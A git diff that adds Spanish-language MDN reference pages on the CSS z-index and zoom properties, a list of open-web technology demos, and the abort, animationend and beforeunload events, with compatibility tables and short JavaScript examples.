+ <dd>La caja no establece un nuevo contexto de apilamiento. El nivel de apilamiento de la caja generada es el mismo que el de la caja padre.</dd>
+ <dt>&lt;integer&gt;</dt>
+ <dd>Este entero es el nivel de apilamiento de la caja generada en el actual contexto de apilamiento. La caja además establece un contexto de apilamiento en el que el nivel de apilamiento es 0. Esto significa que los z-index de los elementos descendientes no son comparados con los elementos que están fuera de este elemento.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div style="border: dashed; position: relative; height: 8em; margin-bottom: 1em; margin-top: 2em;">position:relative; z-index:1; <span style="background: gold; left: 60px; position: absolute; top: 3em;">position:absolute; z-index:2; left:60px; top:3em;</span> <span style="background: lightgreen; height: 7em; left: 20em; opacity: 0.9; position: absolute; top: -25px;">position:absolute; z-index:3;<br>
+left:20em; top:-25px; opacity:0.9</span></div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Define <code>visibility</code> como animable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#z-index', 'z-index')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Especificación inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Valores negativos (CSS2.1, no soportado en la antigua especificación CSS2)</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Propiedad CSS {{Cssxref("position")}}</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index">Entendiendo la propiedad CSS z-index</a></li>
+</ul>
diff --git a/files/es/web/css/zoom/index.html b/files/es/web/css/zoom/index.html
new file mode 100644
index 0000000000..f58f35046c
--- /dev/null
+++ b/files/es/web/css/zoom/index.html
@@ -0,0 +1,141 @@
+---
+title: zoom
+slug: Web/CSS/zoom
+tags:
+  - CSS
+  - NeedsBrowserCompatibility
+  - NeedsLiveSample
+  - NeedsMobileBrowserCompatibility
+  - No estandar
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/zoom
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS no estándar  <code>zoom</code>  se puede usar para controlar el aumento de escala de un lemento. En la medida de lo posible deben usarse <a href="/es/docs/Web/CSS/CSS_Transforms">Transformaciones CSS</a> en vez de esta propiedad..</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Valor inicial</th>
+   <td><code>normal</code></td>
+  </tr>
+  <tr>
+   <th>Se aplica a:</th>
+   <td>all elements</td>
+  </tr>
+  <tr>
+   <th>Heradado</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th>Medio</th>
+   <td>visual</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Dibuja el elemento con su tamaño normal.</dd>
+ <dt><code>reset</code> {{non-standard_inline}}</dt>
+ <dd>Si el usuario aplica un cambio de escala no basado en presionar  (por ejemplo al presionar Ctrl+ o Ctrl-) al documento no cambia la escala del elemento. Sólo soportado por WebKit (y posiblemente Blink).</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Factor de Zoom. <code>100%</code> es a tamaño <code>normal</code>. Valores superiores a 100% aumentan y valores inferiores al 100% encogen el elemento.</dd>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>Factor de Zoom. Equivalente al porcentaje correspondiente (<code>1.0</code> = <code>100%</code> = <code>normal</code>). Valores mayores de <code>1.0</code> aumentarán el tamaño. Valores menores de  <code>1.0</code> encogerán.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">normal | reset | <a href="/en-US/docs/Web/CSS/number">&lt;number&gt;</a> | <a href="/en-US/docs/Web/CSS/percentage">&lt;percentage&gt;</a>
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<p>Esta propiedad no es estándar y tiene su origen en Internet Explorer. Microsoft tiene una <a href="https://msdn.microsoft.com/es/library/ms531189(v=vs.85).aspx"> descripción en MSDN</a>. Apple tiene <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-SW15">una descripción en la Referencia CSS de Safari</a>. Rossen Atanassov, de Microsoft, tiene <a href="http://cdn.rawgit.com/atanassov/css-zoom/master/Overview.html">una propuesta de borrador no oficial de la especificación en GitHub</a></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }} [1]</td>
+   <td>5.5</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>valor de reseteo</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }} [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Valor de reseteo</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]: {{bug(390936, 'summary')}}</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/almanac/properties/z/zoom/"><code>zoom</code> Post en el Almanaque de CSS-Tricks</a></li>
+</ul>
diff --git a/files/es/web/demos_of_open_web_technologies/index.html b/files/es/web/demos_of_open_web_technologies/index.html
new file mode 100644
index 0000000000..ad8a4f83ee
--- /dev/null
+++ b/files/es/web/demos_of_open_web_technologies/index.html
@@ -0,0 +1,161 @@
+---
+title: Demostraciones de tecnologías de Web Abierta
+slug: Web/Demos_of_open_web_technologies
+tags:
+  - 2D
+  - 3D
+  - CSS
+  - Canvas
+  - Design
+  - HTML
+  - SVG
+  - Video
+  - transform
+translation_of: Web/Demos_of_open_web_technologies
+---
+<p>Mozilla soporta una amplia variedad de emocionantes tecnologías web abiertas, y alentamos su utilización.  Esta página ofrece enlaces a interesantes demostraciones de estas tecnologías, incluyendo algunas que fueron populares en la Demo Studio, la cual <a href="https://blog.mozilla.org/community/2015/12/18/saying-goodbye-to-demo-studio/">ha sido retirada desde entonces</a>. Si conoces una buena demostración o aplicación de tecnología web abierta, por favor agrega el enlace a la sección apropiada aquí.</p>
+
+<h2 id="Gráficos_2D">Gráficos 2D</h2>
+
+<h3 id="APNG" name="APNG">APNG</h3>
+
+<ul>
+ <li><a class="external" href="http://people.mozilla.com/~dolske/apng/demo.html">Justin's demo</a> (funciona cuando está guardado localmente)</li>
+</ul>
+
+<h3 id="SVG" name="SVG">Canvas</h3>
+
+<ul>
+ <li><a class="external" href="http://www.blobsallad.se/">An interactive blob using javascript and canvas (divertido)</a></li>
+ <li><a class="external" href="http://blobsallad.se/article/" title="http://blobsallad.se/article/">Blob's demos</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/canvas.html">Canvas Animation Kit Experiment (CAKE)</a></li>
+ <li><a class="external" href="http://www.xs4all.nl/~peterned/3d/" title="http://www.xs4all.nl/~peterned/3d/">Canvas3D &amp; Flickr</a></li>
+ <li><a class="external" href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html" title="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Playing with Canvas</a></li>
+ <li><a class="external" href="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html" title="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html">Using the Canvas Html element5</a></li>
+ <li><a class="external" href="/samples/raycaster/RayCaster.html" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/raycaster/RayCaster.html">RayCaster</a></li>
+ <li><a class="external" href="http://jsmsxdemo.googlepages.com/jsmsx.html" title="http://jsmsxdemo.googlepages.com/jsmsx.html">MSX Emulator</a></li>
+ <li><a class="external" href="http://processingjs.org/exhibition/" title="http://dev.jquery.com/~john/processing.js/examples/basic/">processing.js</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/missile_fleet.html" title="http://glimr.rubyforge.org/cake/missile_fleet.html">Missile fleet</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/fireworks2.6rt.html" title="http://glimr.rubyforge.org/cake/demos/fireworks2.6rt.html">FireWorks</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash.html">Canvas ash1</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash2.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash2.html">Canvas ash2</a></li>
+ <li><a class="external" href="http://glimr.rubyforge.org/cake/demos/canvas_ash8.html" title="http://glimr.rubyforge.org/cake/demos/canvas_ash8.html">Canvas ash8</a></li>
+ <li><a class="external" href="http://gyu.que.jp/jscloth/" title="http://gyu.que.jp/jscloth/">3D on 2D Canvas</a></li>
+ <li><a href="http://viliusle.github.io/miniPaint/">miniPaint - Image editor </a>(<a href="https://github.com/viliusle/miniPaint">código fuente</a>)</li>
+</ul>
+
+<h3 id="SVG" name="SVG">SVG</h3>
+
+<ul>
+ <li><a class="external" href="http://www.kde-look.org/CONTENT/content-files/19524-gearflowers.svg.gz">Gearflowers image</a> No olvides hacer un zoom (funciona cuando está guardado localmente)</li>
+ <li><a class="external" href="http://people.mozilla.com/~vladimir/demos/photos.svg">SVG photo demo</a> (efectos visuales e interacción)</li>
+ <li><a class="external" href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Bubblemenu</a> (efectos visuales e interacción)</li>
+ <li><a class="external" href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML transformations</a> usando <code>foreignObject</code> (efectos visuales y transformaciones)</li>
+ <li><a class="external" href="http://svg-whiz.com/svg/linguistics/theCreepyMouth.svg">Phonetics Guide</a> (interactivo)</li>
+ <li><a class="external" href="http://www.lutanho.net/svgvml3d/platonic.html">3D objects demo</a> (interactivo)</li>
+ <li><a class="external" href="http://www.themaninblue.com/experiment/Blobular/" title="http://www.themaninblue.com/experiment/Blobular/">Blobular</a> (interactivo)</li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/video.svg">Video embedded in SVG</a> (o usa la <a class="external" href="http://www.double.co.nz/video_test/video_svg.tar.bz2">descarga local</a>)</li>
+ <li><a href="http://summerstyle.github.io/summer/">Summer HTML image map creator</a> (<a href="https://github.com/summerstyle/summer">código fuente</a>)</li>
+</ul>
+
+<h3 id="Video" name="Video">Video</h3>
+
+<ul>
+ <li><a href="https://vimeo.com/172328210">Video 3D Animation "mozilla constantly evolving" Designed by Rober Villar ,SoftwareRVG developer.</a></li>
+ <li><a href="https://vimeo.com/173851395">Video 3D animation "Floating Dance" . Designed by Rober Villar , developer from SoftwareRVGdesignS.</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test1.html">Streaming Anime, Movie Trailer and Interview</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test2.html">Billy's Browser Firefox Flick</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test3.html">Virtual Barber Shop</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test4.html">Transformers Movie Trailer</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test5.html">A Scanner Darkly Movie Trailer</a> (con controles incorporados)</li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/events.html">Events firing and volume control</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/video.svg" title="http://www.double.co.nz/video_test/video.svg">Dragable and sizable videos</a></li>
+</ul>
+
+<h2 id="Gráficos_3D">Gráficos 3D</h2>
+
+<h3 id="WebGL">WebGL</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li>
+ <li><a href="https://dl.dropboxusercontent.com/u/62064441/ioquake3.js/ioquake3.html">IoQuake3</a> (<a href="https://github.com/klaussilveira/ioquake3.js">código fuente</a>)</li>
+ <li><a href="http://micah.tech/demoscene/">Escher puzzle</a> (<a href="https://github.com/micahbolen/demoscene">código fuente</a>)</li>
+ <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">código fuente</a>)</li>
+</ul>
+
+<h3 id="Realidad_VIrtual">Realidad VIrtual</h3>
+
+<ul>
+ <li><a href="http://mozvr.com/demos/polarsea/">The Polar Sea</a> (<a href="https://github.com/MozVR/polarsea">código fuente</a>)</li>
+ <li><a href="http://mozvr.github.io/sechelt/">Sechelt fly-through</a> (<a href="https://github.com/mozvr/sechelt">código fuente</a>)</li>
+</ul>
+
+<h2 id="CSS">CSS</h2>
+
+<ul>
+ <li><a href="http://s.codepen.io/SoftwareRVG/debug/OXkOWj">CSS floating logo " mozilla  "  developed by Rober Villar , from Software RVG. </a>(modo depurado)</li>
+ <li><a href="http://codepen.io/SoftwareRVG/pen/OXkOWj/">CSS floating logo " mozilla  "  developed by Rober Villar , from Software RVG. </a>(codigo fuente)</li>
+ <li><a href="http://webdeveloperbareilly.in/blog/html5/responsive-contact-form-bootstrap.php">Responsive Contact Form</a></li>
+ <li><a href="http://felixniklas.com/paperfold/">Paperfold</a></li>
+ <li><a href="http://ondras.github.io/blockout/">CSS Blockout</a></li>
+ <li><a href="http://ondras.zarovi.cz/demos/rubik/">Rubik's cube</a></li>
+ <li><a href="http://ondras.zarovi.cz/demos/nojs/">Pure CSS Slides</a></li>
+ <li>Planetarium (<a href="https://github.com/littleworkshop/planetarium">código fuente</a>)</li>
+ <li><a href="http://www.lesmoffat.co.uk/folio/forest/forest.html">CSS Paralax Forest</a></li>
+ <li><a href="http://webdeveloperbareilly.in/blog/css3/awesome-login-form.html">Awesome Login Page</a></li>
+ <li><a href="http://webdeveloperbareilly.in/blog/css3/onepage-scroll-template.html">CSS3 One Page Scroll</a></li>
+</ul>
+
+<h3 id="Transformaciones">Transformaciones</h3>
+
+<ul>
+ <li><a href="http://impress.github.io/impress.js">Impress.js</a> (<a href="https://github.com/impress/impress.js">código fuente</a>)</li>
+</ul>
+
+<h2 id="Juegos">Juegos</h2>
+
+<ul>
+ <li><a href="https://dl.dropboxusercontent.com/u/62064441/ioquake3.js/ioquake3.html">IoQuake3</a> (<a href="https://github.com/klaussilveira/ioquake3.js">código fuente</a>)</li>
+ <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">código fuente</a>)</li>
+</ul>
+
+<h2 id="HTML">HTML</h2>
+
+<ul>
+ <li> <a href="http://zenphoton.com">Zen Photon Garden </a>(<a href="https://github.com/scanlime/zenphoton">código fuente</a>)</li>
+ <li><a href="http://webdeveloperbareilly.in/blog/smo/html-meta-tags-for-social-media-optimization.html">HTMl Meta Tags For SMO</a></li>
+</ul>
+
+<h2 id="Web_APIs">Web APIs</h2>
+
+<ul>
+</ul>
+
+<h3 id="API_Notificaciones"> API Notificaciones</h3>
+
+<ul>
+ <li><a href="http://elfoxero.github.io/html5notifications/">HTML5 Notifications</a> (<a href="https://github.com/elfoxero/html5notifications">código fuente</a>)</li>
+</ul>
+
+<ul>
+</ul>
+
+<h3 id="API_Web_Audio">API Web Audio</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li>
+ <li><a href="http://ondras.github.io/oscope/">oscope.js - JavaScript oscilloscope</a></li>
+ <li><a href="http://mdn.github.io/audio-buffer/">Audio Buffer demo</a> (<a href="http://mdn.github.io/audio-buffer/">código fuente</a>)</li>
+ <li><a href="http://nipe-systems.de/webapps/html5-web-audio/">HTML5 Web Audio Showcase</a> (<a href="https://github.com/NIPE-SYSTEMS/html5-web-audio-showcase">código fuente</a>)</li>
+ <li><a href="http://wayou.github.io/HTML5_Audio_Visualizer/">HTML5 Audio Visualizer</a> (<a href="https://github.com/Wayou/HTML5_Audio_Visualizer">código fuente</a>)</li>
+ <li><a href="http://carlosrafaelgn.com.br/GraphicalFilterEditor/">Graphical Filter Editor and Visualizer</a> (<a href="https://github.com/carlosrafaelgn/GraphicalFilterEditor">código fuente</a>)</li>
+</ul>
+
+<h3 id="Unclassified" name="Unclassified">Funciones Web</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fractal/">Web Worker Fractals</a></li>
+ <li><a href="http://ondras.github.io/photo/">Photo editor</a></li>
+ <li><a href="http://ondras.github.io/coral/">Coral generator</a></li>
+ <li><a class="external" href="http://nerget.com/rayjs-mt/rayjs.html" title="http://nerget.com/rayjs-mt/rayjs.html">Raytracer</a></li>
+</ul>
diff --git a/files/es/web/events/abort/index.html b/files/es/web/events/abort/index.html
new file mode 100644
index 0000000000..053a8069bb
--- /dev/null
+++ b/files/es/web/events/abort/index.html
@@ -0,0 +1,67 @@
+---
+title: abort
+slug: Web/Events/abort
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<p>The <code>abort</code> event is fired when the loading of a resource has been aborted.</p>
+
+<h2 id="Información_general">Información general</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent if generated from a user interface, Event otherwise.</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/events/animationend/index.html b/files/es/web/events/animationend/index.html
new file mode 100644
index 0000000000..8bca8b046f
--- /dev/null
+++ b/files/es/web/events/animationend/index.html
@@ -0,0 +1,81 @@
+---
+title: animationend
+slug: Web/Events/animationend
+translation_of: Web/API/HTMLElement/animationend_event
+---
+<p>El evento <code>animationend</code> es lanzado cuando una animación CSS se ha completado.</p>
+
+<h2 id="Información_General">Información General</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">AnimationEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Si</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Acción por defecto</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Does the event normally bubble?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{ReadOnlyInline}}</td>
+   <td><code>boolean</code></td>
+   <td>Is it possible to cancel the event?</td>
+  </tr>
+  <tr>
+   <td><code>animationName</code> {{ReadOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The name of the CSS property associated with the transition.</td>
+  </tr>
+  <tr>
+   <td><code>elapsedTime</code> {{ReadOnlyInline}}</td>
+   <td>Float</td>
+   <td>The amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. For an "animationstart" event, the elapsedTime is zero unless there was a negative value for <code>animation-delay</code>, in which case the event will be fired with an elapsedTime of (-1 * delay).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventos_relacionados">Eventos relacionados</h2>
+
+<ul>
+ <li>{{Event("animationstart")}}</li>
+ <li>{{Event("animationend")}}</li>
+ <li>{{Event("animationiteration")}}</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations" title="/en-US/docs/CSS/Using_CSS_animations">Using CSS Animations</a></li>
+</ul>
diff --git a/files/es/web/events/beforeunload/index.html b/files/es/web/events/beforeunload/index.html
new file mode 100644
index 0000000000..98fb747ae9
--- /dev/null
+++ b/files/es/web/events/beforeunload/index.html
@@ -0,0 +1,215 @@
+---
+title: beforeunload
+slug: Web/Events/beforeunload
+translation_of: Web/API/Window/beforeunload_event
+---
+<div>El evento <strong>beforeunload</strong> es disparado cuando la ventana, el documento y sus recursos estan a punto de ser descargados. El documento todavia es visible y el evento todavia es cancelable en este punto.</div>
+
+<div> </div>
+
+<p>Si es asignado un string a la propiedad del objeto Evento returnValue, una caja de dialogo aparece, preguntando al usuario que confirme que dejara la pagina(mirar el ejemplo de abajo).  Algunos navegadores muestran el string devuelto en una caja de dialogos, otros muestran un mensaje fijo. Si no se provee ningun valor, el evento procede silenciosamente.</p>
+
+<div class="note">
+<p><strong>Nota:</strong>Para combatir pop-ups indeseados, los navegadores pueden no mostrar mensajes creados en manejadores del evento beforeunload a menos que se haya interactuado con la pagina, o incluso sin que se haya interactuado en nada con esta.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Burbujas</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <td>Cancelable</td>
+   <td>Si</td>
+  </tr>
+  <tr>
+   <td>Objetos de destino</td>
+   <td>defaultView</td>
+  </tr>
+  <tr>
+   <td>Interfaz</td>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripcion</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readOnlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>El evento objetivo(el objetivo superior en el arbol del DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readOnlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>El tipo de evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readOnlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>El evento normalmente burbujea?</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readOnlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Es posible cancelar el evento?</td>
+  </tr>
+  <tr>
+   <td><code>returnValue</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>El valor actual devuelto por el evento (el mensaje que se le mostrara al usuario).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:js;">window.addEventListener("beforeunload", function (event) {
+  event.returnValue = "\o/";
+});
+
+// es equivalente a
+window.addEventListener("beforeunload", function (event) {
+  event.preventDefault();
+});</pre>
+
+<p>Navegadores basados en WebKit no siguen las especificaciones para la caja de dialogos. Un ejemplo que funcione con distintos navegadores seria similar al siguiente:</p>
+
+<pre class="brush: js">window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  e.returnValue = confirmationMessage;     // Gecko, Trident, Chrome 34+
+  return confirmationMessage;              // Gecko, WebKit, Chrome &lt;34
+});</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>A partir del 25 de Mayo del 2011, la especificion HTML5 establece que llamadas a los metodos {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, y {{domxref("window.prompt()")}}pueden ser ignoradas durante este evento.Mire las <a href="http://www.w3.org/TR/html5/webappapis.html#user-prompts">especificaciones de HTML5</a> para mas detalles.</p>
+
